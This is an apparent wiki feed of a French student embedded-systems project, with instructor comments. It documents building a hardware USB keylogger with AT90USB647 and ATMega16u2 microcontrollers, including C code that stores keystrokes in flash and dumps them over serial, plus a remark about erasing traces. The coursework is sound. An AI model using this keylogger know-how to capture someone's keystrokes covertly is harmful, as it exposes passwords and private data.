		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			int address, byte;&lt;br /&gt;
			uint8_t Data_to_Send[CODES_PACKET_SIZE];&lt;br /&gt;
			for (address = 0; address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (byte = 0;&lt;br /&gt;
                     byte &amp;lt; (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX);&lt;br /&gt;
                     byte += CODES_PACKET_SIZE)&lt;br /&gt;
				{&lt;br /&gt;
					memcpy(Data_to_Send, &amp;amp;(data[byte]), CODES_PACKET_SIZE);&lt;br /&gt;
&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(10);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
			for (byte = 0; byte &amp;lt; (*flash_buffer_i); byte += CODES_PACKET_SIZE)&lt;br /&gt;
			{&lt;br /&gt;
				memcpy(Data_to_Send, &amp;amp;(flash_buffer[byte]), CODES_PACKET_SIZE);&lt;br /&gt;
&lt;br /&gt;
				while (!Serial_IsSendReady());&lt;br /&gt;
				Serial_SendData(Data_to_Send, CODES_PACKET_SIZE);&lt;br /&gt;
				while (!Serial_IsSendComplete());&lt;br /&gt;
				_delay_ms(10);&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Code bien factorisé. Tu as récupéré les commandes pour le reset de la flash dans la documentation des AT45DB641E ? Le reset n'est pas vraiment nécessaire sauf à vouloir effacer ses traces.&lt;br /&gt;
&lt;br /&gt;
Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.&lt;br /&gt;
&lt;br /&gt;
Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.&lt;br /&gt;
&lt;br /&gt;
Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables &amp;lt;code&amp;gt;flash_buffer&amp;lt;/code&amp;gt; qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et &amp;lt;code&amp;gt;flash_buffer_i&amp;lt;/code&amp;gt; qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction &amp;lt;code&amp;gt;Serial_IsSendComplete&amp;lt;/code&amp;gt; afin de ne pas avoir un caractère qui saute à la réception.&lt;br /&gt;
&lt;br /&gt;
Concernant le programme de l'ATMega, pas grand chose n'a changé si ce n'est la façon de recevoir les octets de données des touches tapées :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;Modifier = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[1] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[2] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[3] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[4] = Serial_ReceiveByte();&lt;br /&gt;
		while(!Serial_IsCharReceived());&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[5] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On attend à partir de la fonction &amp;lt;code&amp;gt;Serial_IsCharReceived&amp;lt;/code&amp;gt; qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction &amp;lt;code&amp;gt;Serial_ReceiveByte&amp;lt;/code&amp;gt;. Assez simple finalement ! = )&lt;br /&gt;
&lt;br /&gt;
ReX : D'après ton schéma des connexions de connecteurs je crains que l'AT90 soit en 3.3V et l'ATMega en 5V. Ca pourrait provoquer des problème avec la connexion UART. Tu peux rajouter sur le schéma la position des cavaliers pour que je sois sûr ?&lt;br /&gt;
&lt;br /&gt;
ReX : Non, les deux microcontrôleurs sont bien alimentés en 3.3V. C'est parfait.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe &amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références code&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=855</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=855"/>
		<updated>2023-08-15T15:21:04Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Modification du Keylogger */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Mémoire ====&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).&lt;br /&gt;
&lt;br /&gt;
==== Gestion clavier USB ====&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot;&amp;gt;Configuration de l'horloge&amp;lt;/ref&amp;gt;. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
&lt;br /&gt;
